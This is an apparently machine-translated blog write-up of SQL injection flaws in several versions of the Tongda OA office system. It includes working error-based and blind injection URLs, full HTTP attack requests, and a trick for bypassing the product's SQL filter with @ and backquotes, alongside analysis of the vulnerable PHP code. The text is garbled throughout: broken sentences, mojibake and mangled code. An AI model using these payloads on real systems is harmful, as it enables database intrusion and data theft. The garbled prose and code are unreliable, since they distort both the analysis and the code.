(1) Preface

Here we thank the master for the recurrence of some versions of the vulnerability of Tongda OA sorted out in front of us. Here we start from the vulnerability point, analyze the vulnerability and learn some ideas of the master’s white box to dig the vulnerability.

To download the installation package, you can use the enumeration version to download the installation package:

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
https://www.tongda2000.com/download/down.php?VERSION=2019&code=
Copy the code

Installation tutorial for a fool one key installation, here is not detailed. Default account password admin/(empty)

1, electronic books (white hat) 2, security factory internal video 3, 100 SRC documents 4, common security comprehensive questions 5, CTF contest classic topic analysis 6, the full kit 7, emergency response notes 8, network security learning route

(2) Information collection

I. Version information

/inc/expired.php

/inc/reg_trial.php

/inc/reg_trial_submit.php

2. Computer name

The version must be later than 2013

/resque/worker.php

User name & email enumeration

The version must be later than 2013

/ispirit/retrieve_pwd.php? Username = the user to enumerate

Existing users

The user does not exist

(3) Tongda OA2013

Error: /interface/ugo.php

Vulnerability emersion

/interface/ugo.php? OA_USER=a%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20database()),0x7c,user(),0x7c,floor(rand(0 ) * 2)) x % 20 from % 20 information_schema. The tables % 20 group % 20 by 20 x % % 20 limit % % 20, 200, 1) a) and % 20% % 25271% of 2527 = 25271Copy the code

Vulnerability analysis

PHP uses urldecode to parse OAUSER, which is why single quotes use ∗OA_USER. This is why single quotes use **%2527** and then we call ext_login_check to process OAUSER, which is why single quotes use ∗OA_USER

2, global search ext_login_check, see direct concatenation and call exequery on lines 16 and 17

Ugo.php contains the inc/session. PHP file

The session.php file contains the inc/conn.php file

You can see the exequery method in the conn.php file

4. The previous sections dealt briefly with union select and info outfile and into Dumpfile

if (! $LOG) { $POS = stripos($Q, "union"); if ($POS ! == FALSE && stripos($Q, "select", $POS) ! == FALSE) { exit; } $POS = stripos($Q, "into"); if ($POS ! == FALSE && (stripos($Q, "outfile", $POS) ! == FALSE || stripos($Q, "dumpfile", $POS) ! == FALSE)) { exit; }}Copy the code

This is where the SQL statement is executed

/interface/auth.php error

Vulnerability emersion

The idea is relatively simple.

/interface/auth.php? &PASSWORD=1&USER_ID=%df%27 and (select 1 from (select count(*),concat((select concat(0x3a,(select database()) ,0x3a) from user limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23Copy the code

Vulnerability analysis

/interface/auth.php

2, the key code is cut down, obviously there is a filter, some characters replaced with empty, so it can not be used.

/ / replace null $USER_ID = str_replace (array (", ", "\ \ \" ", "\ \" \ "",", "'", "\ t", "\ \", \ \ \ \ ""), array (" "," ", ""," ", ""," ", "", ""), $USER_ID); / / test pass is not empty, empty words exit the if ($USER_ID = = "" | | $PASSWORD = =" ") {message (" _ ", "» selections A ª » selections I ¨, an AIE 1/2 level O ¿ U (including AOA » § Au » oAUAeO Ð Io ")); exit; $query = "select * from EXT_USER where USER_ID='". $USER_ID. "'"; $cursor = exequery($connection, $query);Copy the code

Error: /interface/go.php

Vulnerability emersion

Emm.. Ditto. I can’t reproduce it here

interface/go.php? APP_UNIT=a%2527 and 1=(select 1 from(select count(*),concat(database(),0x7c,user(),0x7c,floor(rand(0)*2))x from Information_schema. tables group by x limit 0,1)a) and %25271%2527=%25271Copy the code

Vulnerability analysis

1. Locate the vulnerability based on the URL /interface/go.php

2. Both OA_USER and APP_UNIT are filtered

// Filter characters such as single quotes, Replace empty $OA_USER = str_replace (array (", ", "\ \ \" ", "\ \ '\" ", ", "' ", "\ t", "\ \ \ \ \ \", "), array (" ", ""," ", ""," ", ""," ", ""), $OA_USER); $APP_UNIT = str_replace(array(",", "\\\"", "\\'", "\"", "'", "\t", "\\", "\\\\"), array("", "", "", "", "", "", "", ""), $APP_UNIT); APP_UNIT $query = "select MEMBER_ID from CONNECT_CONFIG where MEMBER_NAME='". $APP_UNIT. "'"; $cursor = exequery($connection, $query);Copy the code

/interface/ugo.php: ext_login_check (); /interface/ugo.php: ext_login_check ()

If ($OA_USER = = "admin") {echo _ (" ¸ Þ ¨ E · AOE DHS AI an AIE "); exit; } session_start(); ob_start(); if ($LOGIN_USER_ID ! = $OA_USER) { include_once "./auth.php"; $result = ext_login_check($OA_USER); if ($result ! = "1") { echo $result; exit; }}Copy the code

The ext_login_check method is unfiltered, so, in theory, the older version is in /interface/go.php? OA_USER= should also have an injection.

4. Access to OA2015

/ispirit/retrieve_pwd.php blind note

Vulnerability emersion

1. Determine whether injection exists

/ispirit/retrieve_pwd.php? _GET[username]=admin'or 1=1 and'a'='a

2. Check that the database length is 5

/ispirit/retrieve_pwd.php? _GET [username] = admin 'or if ((length (database ()) = 5), 1, power (88888,88)) and' a '=' a

3. Check whether the database is TD_OA

/ispirit/retrieve_pwd.php? _GET [username] = admin 'or if ((database () =' td_oa '), 1, power (888888,88)) and 'a' = 'a

Vulnerability analysis

There is no old version of the code here, so let’s analyze it rationally. 1. Locate the vulnerability point /ispirit/retrieve_pwd.php based on the URL

Username = ’email’; username = ’email’

<? phpinclude_once "inc/conn.php"; include_once "inc/utility_all.php"; $username = $_GET["username"]; $email = $_GET["email"]; $query = "SELECT UID,USER_ID,USER_NAME,USEING_KEY FROM USER WHERE BYNAME='{$username}'"; $cursor = exequery(TD::conn(), $query);Copy the code

3, Locate the exequery method in inc/conn.php

Db_query = exequery; exequery = exequery

function exequery($C, $Q, $QUERY_MASTER = false, $LOG = true) { $cursor = @db_query($Q, $C, $QUERY_MASTER); if (! $cursor) { printerror("<b>" . _("SQL") . "</b> " . $Q, $LOG); } return $cursor; }Copy the code

Db_query (); sql_injection (); Sql_injection (); sql_injection (); sql_injection ();

function db_query($Q, $C, $QUERY_MASTER = false) { sql_injection($Q, "'"); if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER || strtolower(substr(ltrim($Q), 0, 6)) ! = "select" && strtolower(substr(ltrim($Q), 0, 3)) ! = "set")) { if ($C == TD::$_res_conn && $C ! = TD::$_res_conn_master) { if (! is_resource(TD::$_res_conn_master)) { TD::$_res_conn_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db"]); } $C = TD::$_res_conn_master; } else { if ($C == TD::$_res_conn_crscell && $C ! = TD::$_res_conn_crscell_master) { if (! is_resource(TD::$_res_conn_crscell_master)) { TD::$_res_conn_crscell_master = openconnection(TD::$_arr_db_master, TD::$_arr_db_master["db_crscell"]); } $C = TD::$_res_conn_crscell_master; } } } return @mysql_query($Q, $C); }Copy the code

6, sql_injection method, the code is a little long, in fact, the blacklist verification.

$clean = trim(strtolower(preg_replace(array("~\\s+~s"), array(" "), $clean))); if (strpos($clean, "union") ! == false && preg_match("~(^|[^a-z])union(\$|[^[a-z])~s", $clean) ! = 0) { if (2 < strpos($clean, "/*") || strpos($clean, "--") !== false || strpos($clean, "#") ! == false) { if (strpos($clean, "sleep") !== false && preg_match("~(^|[^a-z])sleep(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "benchmark") !== false && preg_match("~(^|[^a-z])benchmark(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "load_file") !== false && preg_match("~(^|[^a-z])load_file(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "cast") !== false && preg_match("~(^|[^a-z])mid(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "ord") !== false && preg_match("~(^|[^a-z])ord(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "ascii") !== false && preg_match("~(^|[^a-z])ascii(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "extractvalue") !== false && preg_match("~(^|[^a-z])extractvalue(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "updatexml") !== false && preg_match("~(^|[^a-z])updatexml(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "into outfile") !== false && preg_match("~(^|[^a-z])into\\s+outfile(\$|[^[a-z])~s", $clean) ! = 0) { if (strpos($clean, "exp") !== false && preg_match("~(^|[^a-z])exp(\$|[^[a-z])~s", $clean) ! = 0) { if (stripos($db_string, "update") !== false && stripos($db_string, "user") ! == false && stripos($db_string, "set") !== false && stripos($db_string, "file_priv") !== false) {Copy the code

(5) Access to OA2017

A, / general/document/index. PHP/setting/keywords Boolean blinds/index

Vulnerability emersion

The packets are as follows:

POST/general/document/index. PHP/setting/keywords/index HTTP / 1.1 Host: 10.211.55.3 the user-agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.15; The rv: 94.0) Gecko / 20100101 Firefox 94.0 / Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9, image/avif, image/webp, * / *; Q = 0.8 Accept - Language: useful - CN, useful; Q = 0.8, useful - TW; Q = 0.7, useful - HK; Q = 0.5, en - US; Q = 0.3, en. Q = 0.2 Accept - Encoding: gzip, deflate the Connection: close cookies: PHPSESSID = gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 $_SERVER [QUERY_STRING] = kname = 1 '+ and @ ` ` + or + the if (substr (user (), 1, 1) =' r ', 1, exp (710)) #Copy the code

1. When the first user name of the database is r, the page returns to normal

2. If the first four digits of the user name are not rooq, an error is reportedThe page is normal when the user is root

Vulnerability analysis

1, according to the request positioning hole point general/document/index. The PHP [cross on the picture… (image. The PNG – 9 c661f – 1642860268114-0)]

Webroot/inc/td_framework/core/framework.php (controllers/ files/methods)

3, because the content path for/general/document/index. The PHP/setting/keywords/index, so the location to the file: \webroot\general\document\controllers\setting\keywords.** _get_WHERE (); **_get_where ()

public function index() { $this->load->helper('td_doc'); $where = $this->_get_where(); $config['base_url'] = site_url('setting/keywords/index') . '? kname=' . $this->kname . '&category=' . $this->category; $config['total_rows'] = $this->mkeyword->get_keywords_count($where); $config['per_page'] = '6'; $config['uri_segment'] = 4; $data['search_url'] = site_url('setting/keywords'); $data['pages'] = $this->_pagination($config, $where); $data['keywords'] = $this->mkeyword->get_keywords($where, $this->uri->segment(4, 0), $config['per_page']); $data['kname'] = $this->kname; $data['category'] = $this->category; $data['category_list'] = get_syscode_list('DOC_CATEGORY'); $this->load->view('setting/keywords', $data); }Copy the code

5. Look ahead and analyze the _get_WHERE method

Public function _get_WHERE () {$_SERVER['QUERY_STRING'] = parse_str($_SERVER['QUERY_STRING'], $_GET); / / because already pass kname, so skip the if (isset ($_GET [' kname '])) {$this - > kname = $_GET [' kname]; } / / don't preach to participate, and don't look at the if (isset ($_GET [' category '])) {$this - > category = $_GET [' category ']. } $where = ''; If ($this->kname) {$where = 'and kname like \'%'. $this->kname. If ($this->category) {$where.= 'and category=\ ". $this->category. } return $where; }Copy the code

6, You can see that this is the loophole, directly concatenate the parameter to where, then return to the index method, pay attention to this paragraph

$config['total_rows'] = $this->mkeyword->get_keywords_count($where);

The get_keywords_count method of mkeyword is called, and $WHERE is passed as a concatenated parameter. At the top of the file, you can see that mkeyword is the loaded model

7. Locate to\ webroot \ general \ document \ models \ mkeyword PHP get_keywords_countmethods$WHERE = $where; $where = $where

public function get_keywords_count($where)
    {
        $sql = 'select count(*) as total from doc_keywords where 1=1' . $where;
        $query = $this->db->query($sql, false, true, true);
        return $query->row()->total;
    }
Copy the code

$this->db->query $this->db->query $this->db->query $this->db->query $this->db->query Db = query; db = query; db = query; I went back to Framework.php and there was a configuration where DB pointed to the database

10. I found database.php in the libraris directory of the framework, and found the query method at line 169

The previous section checks select and does some assignment

public function query($sql, $binds = false, $return_object = true, $QUERY_MASTER = false) {/ / interception string is to select the if (MYOA_DB_USE_REPLICATION && ($QUERY_MASTER | | ((strtolower(substr(ltrim($sql), 0, 6)) ! = 'select') && (strtolower(substr(ltrim($sql), 0, 3)) ! = 'set')))) { if (! is_resource($this->master_conn_id)) { $this->tomasterdb(); } $this->conn_id = $this->master_conn_id; } else if (is_resource($this->slave_conn_id)) { $this->conn_id = $this->slave_conn_id; $cursor-sharing is false if ($cursor-sharing! == false) { $sql = $this->compile_binds($sql, $binds); If ($this-> queries == true) {$this->queries[] = $SQL; } $time_start = list($sm, $ss) = explode(' ', microtime());Copy the code

12. Look down

$SQL = $this->result_id = $this->_execute($SQL)) {if ($this->save_queries == true) {$this->save_queries == true; $this->query_times[] = 0; } $this->display_error(); return false; } $time_end = list($em, $es) = explode(' ', microtime()); $this->benchmark += ($em + $es) - ($sm + $ss); if ($this->save_queries == true) { $this->query_times[] = ($em + $es) - ($sm + $ss); } ->query_count++; if ($return_object ! == true) { return true; $RES = new TD_Database_result(); $RES->conn_id = $this->conn_id; $RES->result_id = $this->result_id; return $RES;Copy the code

The _prep_query method is called to process the string, and db_query is called to execute

14. The _prep_query method does some delete filteringDb_query = /inc/conn.php; sql_injection = /inc/conn.php16. Back to keyword. PHP, because the original was injected by passing the parameter kname, there is actually another category that appears to have been executed without any filtering The packets are as follows:

POST/general/document/index. The HTTP / 1.1 PHP/setting/keywords Host: 10.211.55.3 the user-agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10.15; The rv: 94.0) Gecko / 20100101 Firefox 94.0 / Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9, image/avif, image/webp, * / *; Q = 0.8 Accept - Language: useful - CN, useful; Q = 0.8, useful - TW; Q = 0.7, useful - HK; Q = 0.5, en - US; Q = 0.3, en. Q =0.2 accept-encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 140 Origin: http://10.211.55.3 Connection: close Referer: http://10.211.55.3/general/document/index.php/setting/keywords cookies: PHPSESSID=gdtugivsnejrt9l9um0v48dou7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=429762af; UI_COOKIE=0; LOGIN_LANG=cn Upgrade-Insecure-Requests: 1 _SERVER%5BQUERY_STRING%5D=category%3D1%27%2Band%40%60%27%60%2Bor%2Bif%28substr%28user%28%29%2C1%2C4%29%3D%27root%27%2C1% 2Cexp%28710%29%29%23Copy the code

Perhaps this is the joy of analyzing vulnerabilities, and suddenly found that other similar interfaces also have vulnerabilities. Of course, since it is SQL injection, you would also like to see what statement was executed

The database connection information can be seen hereAfter the monitor is executed, you can see the complete SQL statement

select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or If (substr (user (), 1, 4) = 'root', 1, exp (710)) # 'Copy the code

Then, I wondered why I needed to add it inside

@ ` '`Copy the code

19, Try fuzz and find that the keyword will be detected if there is no extra single quotation mark

$_SERVER [QUERY_STRING] = = 1 'category + and @ ` ` + or + the if (substr (user (), 1, 4) =' root ', 1, exp (710)) #Copy the code

If there is no @, then the statement will report an error

$_SERVER [QUERY_STRING] = category = '1 + and `' ` + or + the if (substr (user (), 1, 4) = 'root', 1, exp (710)) #Copy the code

20. This is an obvious way to bypass the code by using single quotes, and then using @ and backquotes to make the following statement execute successfully. I put the SQL statement into the database and found no errors

But if I delete the at sign, I get an error because I have a single quote

21. Through checking the data, I learned that @ in mysql means setting a variable, while backquotes are escape characters. Here, we bypass filtering by setting a variable with backquotes. I really think it’s too strong. Returning to the filtered SQL_injection method, you can see that this is where the bypass occurred22. Because I can’t figure out the specific logic directly, I will separate it out and compile it into a PHP file to run debugging

<? php function sql_injection($db_string) { $clean = ''; $error = ''; $old_pos = 0; $pos = -1; while (true) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === false) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); //echo $clean; while (true) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === false) { break; } else { if ($pos2 == false || $pos1 < $pos2) { $pos = $pos1; break; } } $pos = $pos2 + 1; } $clean .= '$s/pre>; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\\s+~s'), array(' '), $clean))); echo $clean; } $a = "select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or If (substr (user (), 1, 4) = 'root', 1, exp (710)) # '"; sql_injection($a); ? >Copy the code

You can see that the following statement has been removed from the output

23, Because the filter is clean, and it is clear that clean, and it is clear that clean has been truncated by **@’**, so bypassing the debugging analysis code, I understand, in the original get injection point detection logic, Replace the value inside the single quotation mark with SSS, so the normal SQL statement would fetch:

Select count(*) as total FROM doc_all_money WHERE 1=1 and category='1' and or if(substr(user(),1,4)='root',1,exp(710))#'Copy the code

Select count(*) as total from doc_all_money WHERE 1=1 and category=’1′

And or if(substr(user(),1,4)=’root’

24. See what happens when you add single quotes

select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or If (substr(user(),1,4)='root',1,exp(710))#' 'select count(*) as total from doc_all_money WHERE 1=1 and substr(user(),1,4)='root',1,exp(710))#' Category ='1' or if(substr(user(),1,4)=' '#2' [image. PNG] (https://img-blog.csdnimg.cn/img_convert/ff0cb067957a1c9b9c0481fd09492d97.png) understand, instantly feel the train of thought of the craftsman is too strong.Copy the code